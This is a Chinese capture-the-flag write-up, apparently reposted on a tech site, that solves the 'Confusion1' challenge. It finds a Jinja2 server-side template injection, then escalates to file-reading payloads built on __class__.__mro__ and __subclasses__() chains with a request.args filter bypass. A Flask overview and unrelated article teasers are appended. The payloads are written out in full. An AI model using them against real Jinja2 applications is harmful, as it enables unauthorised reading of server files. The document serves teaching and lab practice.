3.攻防世界 Confusion1(服务器模板注入SSTI)

news/2025/2/8 15:16:29 标签: web安全, 网络, 网络安全, 安全, python, php

题目描述如下

进入题目页面如下

图片是蟒蛇、大象?pythonphp

猜测需要代码审计

点击

F12查看源码,有所提示flag

但是也没有其他信息了

猜测本题存在SSTI(服务器模板注入)漏洞,为验证,构造payload

/login.php/{ {1+2}}

页面返回3,输入的1+2执行了

所以服务器也执行了{ {}}里的内容,故存在SSTI漏洞


SSTI(服务器模板注入)漏洞

基本概念

在 Web 应用开发中,为实现动态页面的生成,常常会使用模板引擎。模板引擎将模板文件和动态数据相结合,生成最终的 HTML 页面返回给用户。而当应用程序在处理用户输入时,未对其进行严格的过滤和验证,直接将用户输入嵌入到模板中进行渲染,就可能导致服务器模板注入漏洞

产生原因

在接收用户输入时,没有对输入内容进行严格的检查和过滤,直接将其传递给模板引擎进行处理。在一个使用 Flask 框架的应用中,直接将用户输入的参数拼接到模板字符串中,没有做任何过滤,就可能引发 SSTI 漏洞

模板引擎的配置不当也可能导致漏洞。有些模板引擎在默认情况下可能允许执行某些危险的操作

攻击原理

通过构造特殊的输入,让模板引擎将其解析为恶意的模板指令并执行。不同的模板引擎有不同的语法,这就需要了解目标应用所使用的模板引擎,然后使用相应的语法进行攻击。

检测方法

手动测试:通过构造一些简单的测试用例,如数学表达式({ { 1+1 }})、函数调用等,观察页面的响应。如果页面返回了表达式的计算结果,那么很可能存在 SSTI 漏洞。

工具:使用一些安全测试工具,如 Burp Suite、Nmap 等,这些工具可以帮助快速发现潜在的 SSTI 漏洞。在 Burp Suite 的 Intruder 模块中,可以设置不同的有效负载对目标应用进行测试。


测试是Jinja2模板

Jinja2 是 Python 中常用的模板引擎

原理

Jinja2 允许在模板中使用 Python 表达式,我们可以利用其内置的对象和函数来实现文件读取

读取文件:使用 Python 的 open 函数来读取文件,构造payload如下

http://61.147.171.105:56370/login.php/{
  
  { open('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read() }}

传参,报错了,看来是有过滤

再次构造

利用 getattr 函数

getattr 函数可以动态获取对象的属性或方法

http://61.147.171.105:56370/login.php/{
  
  { ''.__class__.__mro__[2].__subclasses__()[40]( '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' ).read() }}

也过滤了qyq

试试逐字符拼接函数名

http://61.147.171.105:56370/login.php/{
  
  { ''.__class__.__mro__[2].__subclasses__()[40]( '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' )[ 'r' + 'e' + 'a' + 'd' ]() }}

还是不行,再试试request函数

构造payload

http://61.147.171.105:56370/login.php/{
  
  {''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

以一个空字符串 '' 作为起始对象,因为在 Python 中,所有对象都继承自 object 类,我们可以通过空字符串对象逐步向上查找类层次结构

''.__class__:获取空字符串对象的类,即 str 类。

__mro__:是 Python 类的一个属性,它表示方法解析顺序(Method Resolution Order),是一个包含类层次结构的元组。

[2]:通过索引 2 可以从 str 类的 __mro__ 元组中获取到 object 类。在 Python 中,object 类是所有类的基类,我们可以通过它获取所有子类列表

__subclasses__() 是 Python 类的一个方法,它会返回该类的所有直接子类组成的列表

索引 40 对应的类通常是 _io.TextIOWrapper 类(在 Python 3 中)或者 file 类(在 Python 2 中),这个类可以用于文件的读写操作

调用 _io.TextIOWrapper 类的构造函数,传入要读取的文件路径,从而打开指定文件

.read():调用打开文件对象的 read 方法,读取文件的全部内容

终于得到flag


Flask 框架

Flask 是一个轻量级的 Python Web 框架,也被称为 “微框架”,它为开发者提供了创建 Web 应用的基础工具和功能,易于上手和扩展

特点

  1. 轻量级:Flask 核心简单且小巧,仅包含了 Web 应用的基本功能,如路由、请求处理、响应返回等,不强制开发者使用特定的数据库、模板引擎或其他组件,给予开发者很大的自由度来选择合适的工具和库。
  2. 可扩展性强:由于其轻量级的特性,Flask 很容易与其他第三方库集成,如数据库操作库(SQLAlchemy、Peewee 等)、表单处理库(WTForms)、认证库(Flask - Login)等,开发者可以根据项目需求灵活扩展功能。
  3. 易于上手:Flask 的文档清晰简洁,代码结构简单易懂,对于初学者来说,能够快速理解和掌握其基本概念和使用方法,快速搭建起一个简单的 Web 应用。
  4. 基于 Werkzeug 和 Jinja2:Flask 基于 Werkzeug WSGI 工具包和 Jinja2 模板引擎构建。Werkzeug 提供了请求和响应处理、路由匹配等功能,Jinja2 则用于模板渲染,方便开发者生成动态 HTML 页面。

主要组件

路由系统:Flask 使用装饰器来定义路由,允许开发者将 URL 路径映射到对应的视图函数。

请求和响应:Flask 提供了request对象来处理客户端的请求信息,如获取请求参数、请求方法等;使用Response对象来返回响应给客户端。

模板引擎:Flask 默认使用 Jinja2 模板引擎,允许开发者将动态数据与 HTML 模板结合生成动态页面。

应用场景

  1. 快速原型开发:由于 Flask 易于上手和快速搭建,适合在项目初期进行快速原型开发,验证项目的可行性和功能需求。
  2. 小型 Web 应用:对于一些功能简单、规模较小的 Web 应用,如个人博客、小型企业网站等,Flask 的轻量级特性可以满足需求,并且易于维护。
  3. API 开发:Flask 可以方便地创建 RESTful API,结合 JSON 数据格式,为前端应用或其他服务提供数据接口

http://www.niftyadmin.cn/n/5845011.html

相关文章

SQL 秒变 ER 图 sql转er图

🚀SQL 秒变 ER 图,校园小助手神了! 学数据库的宝子们集合🙋‍♀️ 是不是每次碰到 SQL 转 ER 图就头皮发麻?看着密密麻麻的代码,脑子直接死机,好不容易理清一点头绪,又被复杂的表关…

B站自研的第二代视频连麦系统(上)

导读 本系列文章将从客户端、服务器以及音视频编码优化三个层面,介绍如何基于WebRTC构建视频连麦系统。希望通过这一系列的讲解,帮助开发者更全面地了解 WebRTC 的核心技术与实践应用。 背景 在文章《B站在实时音视频技术领域的探索与实践》中&#xff…

【LeetCode力扣】1.(简单)两数之和(JavaScript)

两数之和: 题目描述: 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重…

【人工智能】使用Python实现图像风格迁移:理论、算法与实践

《Python OpenCV从菜鸟到高手》带你进入图像处理与计算机视觉的大门! 解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 图像风格迁移是一种利用深度学习技术将一张图像的内容与另一张图像的风格相结合的技术。本文将深入探讨图像风格迁移的基本理论和实现方法,…

2、ansible的脚本

ansible的脚本------------playbook剧本 脚本的作用:复用 playbook的组成部分: 1、开头 ---- 表示,表示是一个yaml文件,但是可以忽略。 2、Tasks(任务),包含了在目标主机上执行的操作&#…

2025年软件测试五大趋势:AI、API安全、云测试等前沿实践

随着软件开发的不断进步,测试方法也在演变。企业需要紧跟新兴趋势,以提升软件质量、提高测试效率,并确保安全性,在竞争激烈的技术环境中保持领先地位。本文将深入探讨2025年最值得关注的五大软件测试趋势。 Parasoft下载https://…

快速上手——.net封装使用DeekSeek-V3 模型

📢欢迎点赞 :👍 收藏 ⭐留言 📝 如有错误敬请指正,赐人玫瑰,手留余香!📢本文作者:由webmote 原创📢作者格言:新的征程,用爱发电,去丈量人心,是否能达到人机合一?开工大吉 新的一年就这么水灵灵的开始了,在这里,祝各位读者新春快乐,万事如意! 新年伊…

【Apache Paimon】-- 15 -- 利用 paimon-flink-action 同步 postgresql 表数据

利用 Paimon Schema Evolution 核心特性同步变更的 postgresql 表结构和数据 1、背景信息 在Paimon 诞生以前,若 mysql/pg 等数据源的表结构发生变化时,我们有几种处理方式 (1)人工消息通知,然后手动同步到数据仓库中(2)使用 flink 消费 DDL binlog ,然后自动更新 Hi…